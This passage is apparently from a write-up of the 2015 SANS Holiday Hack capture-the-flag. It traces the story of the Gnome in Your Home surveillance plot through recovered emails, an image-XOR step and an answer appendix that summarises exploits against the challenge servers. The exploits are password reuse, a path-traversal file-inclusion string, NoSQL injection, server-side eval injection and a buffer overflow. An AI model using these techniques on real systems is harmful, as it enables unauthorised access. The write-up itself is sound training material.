SG-05 – After analyzing the source code for the sgstatd program and spending many hours manipulating input as I watched what went on within memory using a debugger I was able to craft a working exploit code that allowed me to gain a command shell on the remote system. This allowed me to run the ‘cat’ command on the gnome.conf file.
Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution
Finally, we had gained access to all of the SuperGnomes. I went back to town to find Ed Skoudis so he could help me make sense of all of this. He in fact had a mission for me. His intern has gone missing. He asked if I could help locate him. Various members of the community all had some information to share about his whereabouts. I believe it was Josh Wright that told me he had seen him hanging out near a trashcan by the hotel and that he was obsessed with the Konami code. I went to the trashcan by the hotel to find a note with the numbers 0 2 6 2 written on it.
I proceeded to search town up and down for the Intern to no avail. Finally, I found myself walking down Turing Ave. when I noticed a hole in the fence next to me. This was a fence that was supposed to guard the Counter Hack Challenges Network Operations Center (NOC) from intruders! They obviously need to up their physical security here. I decided to take it upon myself to go inform whoever was working here to patch up this hole immediately.
I proceeded through the hole and over to the door. The door required an access code to gain entry. I entered the numbers from the note I found by the dumpster. This was the correct access code.
Upon entering the door I found myself in a room with multiple doors. Entering certain doors led straight back out the front door! I remembered the Intern’s love for the Konami code. I decided to try this and it worked.
To solve the NOC maze one must go through the doors in the following directions:
up, up, down, down, left, right, left, right
Upon solving the NOC maze I found myself in the data center with the Intern! He wasn’t supposed to be here and had some explaining to do. He informed me that I caught him on a covert mission to plant a gnome inside the Counter Hack data center!
Ed was very happy about me catching the Intern in the act red-handed.
Out of nowhere everything went black and an 8-bit version of the theme song from Star Wars started to play. I am still confused as to whether Ed drugged me or I blacked out from the exploit dev.
After I awoke from the darkness I got back to work on discovering who is behind this nefarious plot. Each of the SuperGnomes had a staticky picture and a packet capture file that I was able to gain access to. Let’s first take a look at these packet captures.
The packet capture from SG-01 contained an email from c@atnascorp.com to jojo@atnascorp.com with a subject of GiYH Architecture on December 26th, 2014.
Below are the contents of this email.
JoJo,
As you know, I hired you because you are the best architect in town for a distributed surveillance system to satisfy our rather unique business requirements. We have less than a year from today to get our final plans in place. Our schedule is aggressive, but realistic.
I've sketched out the overall Gnome in Your Home architecture in the diagram attached below. Please add in protocol details and other technical specifications to complete the architectural plans.
Remember: to achieve our goal, we must have the infrastructure scale to upwards of 2 million Gnomes. Once we solidify the architecture, you'll work with the hardware team to create device specs and we'll start procuring hardware in the February 2015 timeframe.
I've also made significant progress on distribution deals with retailers.
Thoughts?
Looking forward to working with you on this project!
-C
Whoever ‘C’ is looks to be the leader behind this sinister plan. Attached to the email was a JPG titled GiYH_Architecture.jpg. This image can be seen below.
The packet capture from SG-02 contained an email from c@atnascorp.com to supplier@ginormouselectronicssupplier.com with a subject of Large_Order_-_Immediate_Attention_Required on February 25th, 2015.
Below are the contents of this message.
Maratha,
As a follow-up to our phone conversation, we'd like to proceed with an order of parts for our upcoming product line. We'll need two million of each of the following components:
+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
+ Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash
Given the volume of this purchase, we fully expect the 35% discount you mentioned during our phone discussion. If you cannot agree to this pricing, we'll place our order elsewhere.
We need delivery of components to begin no later than April 1, 2015, with 250,000 units coming each week, with all of them arriving no later than June 1, 2015.
Finally, as you know, this project requires the utmost secrecy. Tell NO ONE about our order, especially any nosy law enforcement authorities.
Regards,
-CW
Once again it is from “C” except they sign off as “CW” this time. They appear to be ordering all of the parts necessary to produce 2 million GiYH’s!
The packet capture from SG-03 contained an email from c@atnascorp.com to burglerlackeys@atnascorp.com with a subject of “All Systems Go for Dec 24, 2015” on Dec 1st 2015.
The contents of the email are below.
My Burgling Friends,
Our long-running plan is nearly complete, and I'm writing to share the date when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of specific houses and an inventory of items to steal from each house, along with still photos of where to locate each item. The message will also include a specific path optimized for you to hit your assigned houses quickly and efficiently the night of December 24, 2015 after dark.
Further, we've selected the items to steal based on a detailed analysis of what commands the highest prices on the hot-items open market. I caution you - steal only the items included on the list. DO NOT waste time grabbing anything else from a house. There's no sense whatsoever grabbing crumbs too small for a mouse!
As to the details of the plan, remember to wear the Santa suit we provided you, and bring the extra large bag for all your stolen goods.
If any children observe you in their houses that night, remember to tell them that you are actually "Santy Claus", and that you need to send the specific items you are taking to your workshop for repair. Describe it in a very friendly manner, get the child a drink of water, pat him or her on the head, and send the little moppet back to bed. Then, finish the deed, and get out of there. It's all quite simple - go to each house, grab the loot, and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit!
As we agreed, we'll split the proceeds from our sale 50-50 with each burglar.
Oh, and I've heard that many of you are asking where the name ATNAS comes from. Why, it's reverse SANTA, of course. Instead of bringing presents on Christmas, we'll be stealing them!
Thank you for your partnership in this endeavor.
Signed:
-CLW
President and CEO of ATNAS Corporation
With this email the evil plan of ATNAS Corporation and the GiYH’s is revealed. CLW, the President and CEO of ATNAS Corporation has hired burglars to steal all the presents from the children around the world. She plans on providing detailed plans on where to go and images taken from the GiYH’s to each burglar so they are more effective in stealing presents. The ultimate plan appears to be that ATNAS corporation is going to resell all the toys!
The packet capture from SG-04 contains a message from c@atnascorp.com to psychdoctor@whovillepsychiatrists.com with a subject of “Answer To Your Question” on December 3rd 2015.
The contents of this email are below.
Dr. O'Malley,
In your recent email, you inquired:
> When did you first notice your anxiety about the holiday season?
Anxiety is hardly the word for it. It's a deep-seated hatred, Doctor.
Before I get into details, please allow me to remind you that we operate under the strictest doctor-patient confidentiality agreement in the business. I have some very powerful lawyers whom I'd hate to invoke in the event of some leak on your part. I seek your help because you are the best psychiatrist in all of Who-ville.
To answer your question directly, as a young child (I must have been no more than two), I experienced a life-changing interaction. Very late on Christmas Eve, I was awakened to find a grotesque green Who dressed in a tattered Santa Claus outfit, standing in my barren living room, attempting to shove our holiday tree up the chimney. My senses heightened, I put on my best little-girl innocent voice and asked him what he was doing. He explained that he was "Santy Claus" and needed to send the tree for repair.
I instantly knew it was a lie, but I humored the old thief so I could escape to the safety of my bed. That horrifying interaction ruined Christmas for me that year, and I was terrified of the whole holiday season throughout my teen years.
I later learned that the green Who was known as "the Grinch" and had lost his mind in the middle of a crime spree to steal Christmas presents. At the very moment of his criminal triumph, he had a pitiful change of heart and started playing all nicey-nice. What an amateur! When I became an adult, my fear of Christmas boiled into true hatred of the whole holiday season. I knew that I had to stop Christmas from coming. But how?
I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we'd rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We'll destroy Christmas as two million homes full of people all cry "BOO-HOO", and we'll turn a handy profit on the whole deal.
Is this "wrong"? I simply don't care. I bear the bitter scars of the Grinch's malfeasance, and singing a little "Fahoo Fores" isn't gonna fix that!
What is your advice, doctor?
Signed,
Cindy Lou Who
The full name of our culprit is revealed! Cindy Lou Who. In this email thread with her psychiatrist she details how the Grinch was the original reason she has feared Christmas for so long and that as an adult that fear became hatred. She vowed to finish what the Grinch had started. She admits in this email thread to wanting to destroy Christmas by robbing 2 million homes.
In the final packet capture located on SG-05 we can actually see Cindy Lou Who’s cleartext password to her email! Her password is ‘AllYourPresentsAreBelongToMe’.
The email in this packet capture is from Grinch@who-villeisp.com to c@atnascorp.com with a subject of “My Apologies & Holiday Greetings” on December 15th 2015.
The contents of this email are below.
Dear Cindy Lou,
I am writing to apologize for what I did to you so long ago. I wronged you and all the Whos down in Who-ville due to my extreme misunderstanding of Christmas and a deep-seated hatred. I should have never lied to you, and I should have never stolen those gifts on Christmas Eve. I realize that even returning them on Christmas morn didn't erase my crimes completely. I seek your forgiveness.
You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at Christmas doesn't come from a store. In fact, I discovered that Christmas means a whole lot more!
When I returned their gifts, the Whos embraced me. They forgave. I was stunned, and my heart grew even more. Why, they even let me carve the roast beast! They demonstrated to me that the holiday season is, in part, about forgiveness and love, and that's the gift that all the Whos gave to me that morning so long ago. I honestly tear up thinking about it.
I don't expect you to forgive me, Cindy Lou. But, you have my deepest and most sincere apologies.
And, above all, don't let my horrible actions from so long ago taint you in any way. I understand you've grown into an amazing business leader. You are a precious and beautiful Who, my dear. Please use your skills wisely and to help and support your fellow Who, especially during the holidays.
I sincerely wish you a holiday season full of kindness and warmth,
--The Grinch
The Grinch himself has emailed Cindy Lou Who. In this message he is apologizing for all that he has done in the past. He pleads with Cindy to not let his actions taint her in any way.
Located on each of the SuperGnomes were a number of factory_cam images. These must be what the two conversing back and forth on the GnomeNET page were talking about. Within this message thread two individuals “DW”, and “PS” are conversing about an issue where camera feeds are overlapping. DW states that he has uploaded a ‘camera_feed_overlap_error.png’ to the system. He also uploaded a still called ‘factory_cam_#.png’ to each SuperGnome. PS states that the camera feeds appeared to have been XORed.
I downloaded all of the factory_cam files as well as the camera_feed_overlap. I used ImageMagick’s ‘convert’ utility to begin undoing the XOR that had happened to the camera streams. By XOR’ing factory_cam_1.png with camera_feed_overlap_error.png I produced an img_out1. I then XOR’d img_out1 with factory_cam_2.png. I continued this operation up to the last factory_cam image.
convert camera_feed_overlap_error.png factory_cam_1.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out1
Upon completing the final XOR operation I had a perfectly clear picture of “The Boss”, Cindy Lou Who sitting at her desk. Her wall was adorned with a framed picture of The Grinch himself.
The evidence collected from the SuperGnomes strongly suggests that Cindy Lou Who, President and CEO of ATNAS Corporation is the primary suspect in this plot.
Part 5 Questions and Answers
9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?
Based on the evidence I have determined that Cindy Lou Who, the President and CEO has devised a plan to steal all of the Christmas presents from millions for families around the world to resell.
Initially, I was suspicious of the ATNAS corporation having a role to play in this story after I discovered Josh Dosis’ GiYH communicating over DNS with SG1.atnascorp.com sending images from a camera within the gnome. This was doubly supported after discovering that the /etc/hosts file from Josh’s GiYH has an IP for a SuperGnome at 52.2.229.189.
After locating more of these SuperGnomes I hacked into them to gain more information about this plot. Each SuperGnome (owned by ATNAS corporation) had a page where they could view the current feeds from GiYH’s around the world. Each of these SuperGnomes had files that assisted in the attribution of Cindy Lou Who. I caught an intern from Counter Hack Challenges planting one of these gnomes in the Counter Hack datacenter as well. This is where he spilled information telling me that he was a part of ATNAS Corporation’s larger plan.
Each of the SuperGnomes had packet capture files on them. After analyzing the packet captures I discovered a series of emails. The contents of these emails are key in attributing Cindy Lou Who as the villain. First, she sends a message to a cohort detailing her proposed architecture of the SuperGnome-Gnome in Your Home technology. Next, she orders the parts to make 2 million Gnome in Your Home dolls. She then sent an email to a number of burglars informing them of her plan to steal all of the Christmas presents. She tells them she has detailed information for each target including pictures taken by the GiYH’s. In one email she is actually confessing to this plot to her psychiatrist stating that due to her fear of Christmas caused by the Grinch she in her late age has developed a hatred for it. She has vowed to finish what the Grinch started. Finally, a message from the Grinch himself was sent to Cindy where he apologizes for all of the wrongs he has done to Cindy and to not let them taint her. Whether or not she took that advice is still up in the air!
If the emails weren’t enough evidence there were also a series of photos taken from test GiYH cameras that were uploaded to the SuperGnomes because of an overlapping error. The one who uploaded them stated that one of the cameras belonged to “the bosses” office. After analyzing the images a crystal clear image of Cindy Lou Who sitting at her desk with framed picture of the Grinch on her wall.
10) Who is the villain behind the nefarious plot?
Cindy Lou Who, the President and CEO of ATNAS Corporation
Epilogue: ‘Twas the Gnome Before Christmas: Wrapping It All Up
In conclusion, this mystery was quite an event to unravel. The story began with two children’s suspicion that their beloved toy doll was transmitting data. After following a trail of bread crumbs through packet capture analysis, reverse engineering firmware, Internet-based systems reconnaissance, exploitation, and forensic analysis a much larger and frightening plan was unraveled.
This report has already been submitted to law enforcement to help them put a stop to the criminal activity that is scheduled to take place on Christmas Eve.
Again… Thank you Ed Skoudis, Josh Wright, Tim Medin, James Lyne, Stephen Sims, Phillip Smith, Jeff McJunkin, CHC, and any one else involved in the production of this challenge! It was epic. I can’t wait to see what is in store next year!
…oh and I found an Easter egg. ☺
Appendix A: Organized Answers
Part 1 Questions and Answers
1) Which commands are sent across the Gnome’s command-and-control channel?
EXEC:iwconfig
EXEC:cat /tmp/iwlistscan.txt
FILE:/root/Pictures/snapshot_CURRENT.jpg
2) What image appears in the photo the Gnome sent across the channel from the Dosis home?
The current location of the Gnome in Your Home in Josh Dosis’ Bedroom
Part 2 Questions and Answers
3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
Operating system = OpenWRT Designated Driver r47650
CPU = 64-bit
Web framework = Express Web Framework
4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
MongoDB
SittingOnAShelf
Part 3 Questions and Answers
5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
52.2.229.189
54.233.105.81
52.64.191.71
52.34.3.80
52.192.152.132
6) Where is each SuperGnome located geographically?
52.2.229.189 - Ashburn, VA
54.233.105.81 - Brazil
52.64.191.71 - Sydney, Australia
52.34.3.80 - Boardman, US
52.192.152.132 - Tokyo, Japan
Part 4 Questions and Answers
7) Please describe the vulnerabilities you discovered in the Gnome firmware.
SG-01 – Cleartext password disclosure of the ‘admin’ user in the ‘gnome’ Mongo Database. This password was reused on SG-01.
SG-02 – Password reuse again. Source code of the cameras page allows for inclusion of .png in the directory name to bypass the appending of .png to the requested file. The file upload capability of the settings page allows a user to create a directory titled .png. These two actions in turn allow for a local file inclusion vulnerability.
SG-03 – The authentication mechanism has a noSQL Injection vulnerability. This vulnerability allowed for bypassing the authentication process and escalation to administrative level within the context of the application.
SG-04 – The files upload page does not sanitize input to the postproc parameter. The JavaScript source code utilizes the eval() method on the backend for this parameter. This resulted in a Server-Side JavaScript vulnerability. Password reuse here again as well.
SG-05 – The sgstatd software running on port 4242 is vulnerable to a buffer overflow, canary overwrite, and ASLR bypass that results in remote code execution on the system. More password reuse here but wasn’t necessary for exploitation.
8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
SG-01 – Able to reuse the admin credentials to login to the web portal. This allowed for download of gnome.conf from the files page.
SG-02 – Password reuse again. I created a directory titled .png using the file uploads function on the settings page. I then utilized this PoC LFI code to grab gnome.conf:
../upload/chvJuRvI/.png/../../../../../../../../gnome/www/files/gnome.conf
SG-03 – I utilized a noSQL injection vulnerability to bypass the authentication mechanism and gain administrative access to the application. This allowed me to download the gnome.conf file.
SG-04 – I leveraged the Server-Side Javascript Vulnerability to read files from the OS including the gnome.conf file.
SG-05 – After analyzing the source code for the sgstatd program and spending many hours manipulating input as I watched what went on within memory using a debugger I was able to craft a working exploit code that allowed me to gain a command shell on the remote system. This allowed me to run the ‘cat’ command on the gnome.conf file.
SG Serial Numbers
SG-01 - NCC1701
SG-02 - XKCD988
SG-03 - THX1138
SG-04 - BU22_1729_2716057
SG-05 - 4CKL3R43V4
Part 5 Questions and Answers
9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?
Based on the evidence I have determined that Cindy Lou Who, the President and CEO has devised a plan to steal all of the Christmas presents from millions for families around the world to resell.
Initially, I was suspicious of the ATNAS corporation having a role to play in this story after I discovered Josh Dosis’ GiYH communicating over DNS with SG1.atnascorp.com sending images from a camera within the gnome. This was doubly supported after discovering that the /etc/hosts file from Josh’s GiYH has an IP for a SuperGnome at 52.2.229.189.
After locating more of these SuperGnomes I hacked into them to gain more information about this plot. Each SuperGnome (owned by ATNAS corporation) had a page where they could view the current feeds from GiYH’s around the world. Each of these SuperGnomes had files that assisted in the attribution of Cindy Lou Who. I caught an intern from Counter Hack Challenges planting one of these gnomes in the Counter Hack datacenter as well. This is where he spilled information telling me that he was a part of ATNAS Corporation’s larger plan.
Each of the SuperGnomes had packet capture files on them. After analyzing the packet captures I discovered a series of emails. These contents of these emails are key in attributing Cindy Lou Who as the villain. First, she sends a message to a cohort detailing her proposed architecture of the SuperGnome-Gnome in Your Home technology. Next, she orders the parts to make 2 million Gnome in Your Home dolls. She then sent an email to a number of burglars informing them of her plan to steal all of the Christmas presents. She tells them she has detailed information for each target including pictures taken by the GiYH’s. In one email she is actually confessing to this plot to her psychiatrist stating that due to her fear of Christmas caused by the Grinch she in her late age has developed a hatred for it. She has vowed to finish what the Grinch started. Finally, a message from the Grinch himself was sent to Cindy where he apologizes for all of the wrongs he has done to Cindy and to not let them taint her. Whether or not she took that advice is still up in the air!
If the emails weren’t enough evidence there were also a series of photos taken from test GiYH cameras that were uploaded to the SuperGnomes because of an overlapping error. The one who uploaded them stated that one of the cameras belonged to “the bosses” office. After analyzing the images a crystal clear image of Cindy Lou Who sitting at her desk with framed picture of the Grinch on her wall.
10) Who is the villain behind the nefarious plot.
Cindy Lou Who, the President and CEO of ATNAS Corporation
